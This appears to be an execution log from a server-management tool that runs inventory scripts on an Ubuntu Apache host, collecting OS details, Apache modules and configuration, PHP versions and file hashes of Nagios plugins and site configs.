MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 91d46e5b4d3ae47de3464aa15766eaab
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= 76b9edfedcf8528d537b2d714e4488cd
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= 9446786f641b573bc32c87ef089668d7
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-au.conf)= /etc/apache2/sites-available/carelinks_www_org-au.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/biblealive_www_us.conf)= /etc/apache2/sites-available/biblealive_www_us.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf)= /etc/apache2/sites-available/carelinksoutreach_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf


2025-12-23 12:29:49: Establishing a connection
2025-12-23 12:29:49: Performing Server Status
2025-12-23 12:29:49: 

PUT: /tmp/pkp838506

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-23 12:29:50: 

chmod 755 /tmp/pkp838506; /tmp/pkp838506; rm /tmp/pkp838506

2025-12-23 12:29:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-23 12:29:50: 

PUT: /tmp/pkp329556

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-23 12:29:50: 

chmod 755 /tmp/pkp329556; /tmp/pkp329556; rm /tmp/pkp329556

2025-12-23 12:29:50: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 854
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         854  0.0  0.2  15968 10812 ?        Ss   12:28   0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-12-23 12:29:50: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'proxy_module',
      26 => 'proxy_fcgi_module',
      27 => 'reqtimeout_module',
      28 => 'rewrite_module',
      29 => 'setenvif_module',
      30 => 'socache_shmcb_module',
      31 => 'ssl_module',
      32 => 'status_module',
    ),
  ),
)


2025-12-23 12:29:50: 

PUT: /tmp/pkp385847

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-23 12:29:50: 

chmod 755 /tmp/pkp385847; /tmp/pkp385847; rm /tmp/pkp385847

2025-12-23 12:29:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)



2025-12-23 12:29:52: 

PUT: /tmp/pkp392133

#!/bin/bash
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-23 12:29:52: 

chmod 755 /tmp/pkp392133; /tmp/pkp392133; rm /tmp/pkp392133

2025-12-23 12:29:52: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.7
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.7


2025-12-23 12:29:52: 

PUT: /tmp/pkp544182

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-23 12:29:52: 

chmod 755 /tmp/pkp544182; /tmp/pkp544182; rm /tmp/pkp544182

2025-12-23 12:29:52: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca


2025-12-23 12:29:52: 

PUT: /tmp/pkp247968

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-23 12:29:52: 

chmod 755 /tmp/pkp247968; /tmp/pkp247968; rm /tmp/pkp247968

2025-12-23 12:29:52: 


status=ok


2025-12-23 12:29:52: 

PUT: /tmp/pkp945058

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 12:29:52: 

chmod 755 /tmp/pkp945058; /tmp/pkp945058; rm /tmp/pkp945058

2025-12-23 12:29:52: 
2025-12-23 12:29:52: 

PUT: /tmp/pkp586342

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/ports.conf')
    show_file('/etc/apache2/apache2.conf')
    show_file('/etc/apache2/sites-available/default-ssl.conf')
    show_file('/etc/apache2/sites-available/000-default.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 12:29:52: 

chmod 755 /tmp/pkp586342; /tmp/pkp586342; rm /tmp/pkp586342

2025-12-23 12:29:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf	274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
	Listen 443
</IfModule>

<IfModule mod_gnutls.c>
	Listen 443
</IfModule>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf	7178
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.

# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#	/etc/apache2/
#	|-- apache2.conf
#	|	`--  ports.conf
#	|-- mods-enabled
#	|	|-- *.load
#	|	`-- *.conf
#	|-- conf-enabled
#	|	`-- *.conf
# 	`-- sites-enabled
#	 	`-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
#   together by including all remaining configuration files when starting up the
#   web server.
#
# * ports.conf is always included from the main configuration file. It is
#   supposed to determine listening ports for incoming connections which can be
#   customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
#   directories contain particular configuration snippets which manage modules,
#   global configuration fragments, or virtual host configurations,
#   respectively.
#
#   They are activated by symlinking available configuration files from their
#   respective *-available/ counterparts. These should be managed by using our
#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
#   their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
#   the default configuration, apache2 needs to be started/stopped with
#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
#   work with the default configuration.


# Global configuration
#

#
# ServerRoot: The top of the directory tree under which the server's
